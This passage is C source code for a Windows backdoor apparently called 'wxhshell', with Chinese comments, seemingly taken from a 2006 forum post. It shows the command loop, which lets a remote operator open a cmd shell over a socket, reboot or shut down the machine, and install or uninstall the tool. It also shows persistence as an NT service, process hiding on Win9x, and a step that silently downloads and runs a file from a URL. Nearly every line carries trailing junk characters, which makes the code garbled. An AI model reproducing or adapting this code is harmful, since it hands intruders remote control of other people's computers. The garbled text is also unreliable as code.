    switch(cmd[0]) { 0+S:2i/G  
  VK|!aqA{b  
  // 帮助 fSun{?{  
  case '?': { |-e=P9,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iP_rEi*-J  
    break; i.fDH57  
  } se)I2T{J  
  // 安装 &1Az`[zKGW  
  case 'i': { OB"QWdh  
    if(Install()) 2QBtwlQ?[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m:"2I&0)WM  
    else g@j:TQM_0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \64(`6>  
    break; 2_Pe/  
    } 'ugG^2Y  
  // 卸载 W C`1;(#G  
  case 'r': { 4Uwt--KtFh  
    if(Uninstall()) (+Uo;)~!YC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n_c0=YH  
    else |kVxrq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GZ4{<QG  
    break; b UWtlg  
    } 1hMk\ -3S  
  // 显示 wxhshell 所在路径 I#A`fJ  
  case 'p': { j+Tk|GRab  
    char svExeFile[MAX_PATH]; b,K1EEJ  
    strcpy(svExeFile,"\n\r"); As>po +T*  
      strcat(svExeFile,ExeFile); -eNi;u  
        send(wsh,svExeFile,strlen(svExeFile),0); *}2o \h6Q  
    break; K:9.fTCs*  
    } %%DK?{jo`  
  // 重启 Wh4lz~D\@  
  case 'b': { "Dy&`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X0=R @_KY  
    if(Boot(REBOOT)) 'kUrSM'*$N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MsM$]~  
    else { [jLx}\]  
    closesocket(wsh); nl?|X2?C  
    ExitThread(0); PH=wP ft  
    } |%M%j'9  
    break; d&U;rMEv  
    } kW(8i}bg  
  // 关机 =0v{+ #}  
  case 'd': { lX7#3ti:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JHMj4Zkp  
    if(Boot(SHUTDOWN)) \LS%bO,Y|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); as\V, {<  
    else { ~ 01]VA  
    closesocket(wsh); 82w< q(  
    ExitThread(0); k5PzY!N  
    } Dk7"#q@kx  
    break; E3KP jK  
    } |0 Zj/1<$  
  // 获取shell +~[19'GH  
  case 's': { <4>6k7W  
    CmdShell(wsh); JUXK}0d%eN  
    closesocket(wsh); o= 8yp2vG  
    ExitThread(0); ',CcLN  
    break; 3g6R<Ez  
  } rFmE6{4:p  
  // 退出 a<HM|dcst  
  case 'x': { ^7_<rs   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'i@Y #F%D  
    CloseIt(wsh); Fm2t:,=  
    break; f.8L<<5 c  
    } @r .K>+1  
  // 离开 OrRve$U*|  
  case 'q': { g xLA1]>{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z> &PM06  
    closesocket(wsh); QVFa<>8/md  
    WSACleanup(); JEAqSZak#  
    exit(1); y[$e]N  
    break; RSkpf94`  
        } r2hm`]\8M  
  } Su-+~` "  
  } ,*bxNs'/  
}y0UyOa{C  
  // 提示信息 66BsUA.h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '~a!~F~>  
} ; aMMI p  
  } WFh!re%Z  
|e pe;/  
  return; 8p!PR^OM@  
} :`uo]B"  
c[;I\g  
// shell模块句柄 VX- f~  
int CmdShell(SOCKET sock) 0_Y;r{3m"  
{ _mn4z+  
STARTUPINFO si; jUfc&bi3  
ZeroMemory(&si,sizeof(si)); >M +!i+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (*M(gM{;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8,H  
PROCESS_INFORMATION ProcessInfo; 6Es-{u(,  
char cmdline[]="cmd"; lc'Jn$O@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }LE/{]A  
  return 0; 'Y-c*q  
} )qxL@w.  
c8u&ev.U  
// 自身启动模式 jy1*E3vQ  
int StartFromService(void) DLz~$TF^  
{ w.V8-9{  
typedef struct H- S28%.  
{ zz$*upxK  
  DWORD ExitStatus; bZKK' d$I  
  DWORD PebBaseAddress; WRNO) f<  
  DWORD AffinityMask; 5^5h%~)}  
  DWORD BasePriority; +^%F8GB  
  ULONG UniqueProcessId; , R]7{7$  
  ULONG InheritedFromUniqueProcessId; UV:_5"-  
}   PROCESS_BASIC_INFORMATION; ,0 ])]  
|fa3;8!96  
PROCNTQSIP NtQueryInformationProcess; $60+}B`m  
:oZ30}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lu<'A4Q1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kdF# Nm  
`5gcc7b  
  HANDLE             hProcess; x JepDCUJ>  
  PROCESS_BASIC_INFORMATION pbi; dpE+[O_  
sF}E =lY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3<'n>'  
  if(NULL == hInst ) return 0; |w:\fK[  
ho0T$hB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )v'DQAL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #kxg|G[Ol  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u'iOa  
/njN*rhx&Z  
  if (!NtQueryInformationProcess) return 0; \75%[;.  
Q#vur o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oinF<-(  
  if(!hProcess) return 0; 6T)D6;@L  
KBOxr5w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Uybh.dC  
ty "k  
  CloseHandle(hProcess); g~`UC  
z43H]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UZXnABg,J  
if(hProcess==NULL) return 0; F02NnF  
sbG3,'i)  
HMODULE hMod; ~s !+9\Fi  
char procName[255]; \=nY&Ml  
unsigned long cbNeeded; ]xFd_OHdb  
@(ev``L5g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l3.HL> o  
2"2b\b}my  
  CloseHandle(hProcess); =>ignoeI  
NB LOcRSh  
if(strstr(procName,"services")) return 1; // 以服务启动 j]kx~  
2vK{Yw   
  return 0; // 注册表启动 i)eub`uMy  
} }7UE  
"y62Wo6m)  
// 主模块 SB]|y -su  
int StartWxhshell(LPSTR lpCmdLine) 0;]tC\D1  
{ eH75: `  
  SOCKET wsl; VFRUiz/C  
BOOL val=TRUE; !K3 #4   
  int port=0; sg2T)^*V  
  struct sockaddr_in door; ( vgoG5  
BE:GB?XBH  
  if(wscfg.ws_autoins) Install(); O.!|;)HQ  
2#p6.4h=  
port=atoi(lpCmdLine); rq+E"Uj?  
)x8Izn  
if(port<=0) port=wscfg.ws_port; s,lrw~17  
m~%IHWO'  
  WSADATA data; |wWBV{^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J6=*F;x6E  
F~&bgl[YZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -3F|)qwK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bW[Y:}Hk~  
  door.sin_family = AF_INET; !,|yrB&`S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8NA2C.gOZ  
  door.sin_port = htons(port); )ASI 41  
\_0nH`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t13wQ t  
closesocket(wsl); ax,%07hJ  
return 1; ^ WidA-  
} 0~)cAKus  
YY'46  
  if(listen(wsl,2) == INVALID_SOCKET) { qMKXS,s  
closesocket(wsl); Bv@NE2  
return 1; ..;}EFw5  
} ^~( @QfY  
  Wxhshell(wsl); O~trv,?)  
  WSACleanup(); -NHc~=m  
?%#3p[  
return 0; [gx6e 44  
wxN'Lv=R  
} t4~Bn<=  
m.Yj{u8zX  
// 以NT服务方式启动 &n91f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c|IH|y  
{ Z!v)zH\  
DWORD   status = 0; NRgNh5/  
  DWORD   specificError = 0xfffffff; Xw_AZ-|1D  
k0Rd:DxO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R~PD[.\u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yC(xi"!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y{6y.F*Q#  
  serviceStatus.dwWin32ExitCode     = 0; QS\H[?M$  
  serviceStatus.dwServiceSpecificExitCode = 0; R:fERj<s  
  serviceStatus.dwCheckPoint       = 0; MB%yC]w8  
  serviceStatus.dwWaitHint       = 0; {p=`"H>  
'MVE5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #2^eGhwnI  
  if (hServiceStatusHandle==0) return; 9jBP|I{xI  
<My4 )3  
status = GetLastError(); 1-.6psE  
  if (status!=NO_ERROR) au1uFu-  
{ *@^9 ]$*$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L9W'TvTwo  
    serviceStatus.dwCheckPoint       = 0; lpv Z[^G  
    serviceStatus.dwWaitHint       = 0; _H} 8eU  
    serviceStatus.dwWin32ExitCode     = status; P uYAoKG  
    serviceStatus.dwServiceSpecificExitCode = specificError; $~W =)f9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W+k SL{0  
    return; #R-l2OO^]  
  } A]c'`Nf  
@FO= 0_;y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (kCzz-_\  
  serviceStatus.dwCheckPoint       = 0; w&8N6gA14  
  serviceStatus.dwWaitHint       = 0; $pr\"!|z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ HN  
} 1wAD_PI|BH  
bvzNur_  
// 处理NT服务事件,比如:启动、停止 mmRxs1 0$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;&RBg+Pr  
{ %{Ib  
switch(fdwControl) QM wrt  
{ !8~A`  
case SERVICE_CONTROL_STOP: 0wQ'~8  
  serviceStatus.dwWin32ExitCode = 0; X\sOeb:]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YS],o'T  
  serviceStatus.dwCheckPoint   = 0; C&wp*  
  serviceStatus.dwWaitHint     = 0; $`;1][OD  
  { r}T(?KGx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); icS% ])3LF  
  } ?V&# nA  
  return; s3<gq x-&r  
case SERVICE_CONTROL_PAUSE: V7DMn@Ckw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =[5F~--Tf  
  break; eO%w i.Q  
case SERVICE_CONTROL_CONTINUE: #$n >+ lc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gV~_m  
  break; ~/C9VR&  
case SERVICE_CONTROL_INTERROGATE: 6Uh_&?\%  
  break; DL<b)# h#  
}; ,! b9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #w]UP#^io  
} y Ny,$1  
kZ5;Fe\*  
// 标准应用程序主函数 S,0h &A9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uE E;~`G  
{ c`,'[Q5(O  
7C / ^ Gw  
// 获取操作系统版本 yrvV<}  
OsIsNt=GetOsVer(); AcHr X=O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +6~ut^YiM.  
=Vie0TV&h  
  // 从命令行安装 \0 j-p   
  if(strpbrk(lpCmdLine,"iI")) Install(); 2 Sgv  
H^sImIEUT  
  // 下载执行文件  /dI8o  
if(wscfg.ws_downexe) { qzk!'J3*r<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "~2SHM@q  
  WinExec(wscfg.ws_filenam,SW_HIDE); wHuz~y6  
} `@3{}  
BFnp[93N  
if(!OsIsNt) { &s^t~>Gpr  
// 如果时win9x,隐藏进程并且设置为注册表启动 \RT3#X+  
HideProc(); _|jEuif  
StartWxhshell(lpCmdLine); ZX0#I W  
} @js`$  
else SL[EOz#  
  if(StartFromService()) n?(sn  
  // 以服务方式启动 {Qba`lOkq  
  StartServiceCtrlDispatcher(DispatchTable); z&wJ"[nOC  
else p!/!ZIo  
  // 普通方式启动 L$t.$[~L  
  StartWxhshell(lpCmdLine); /Z| K9a  
u(W>HVEG  
return 0; M!R=&a=Z  
}
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只看该作者 1 发表于: 2006-10-10
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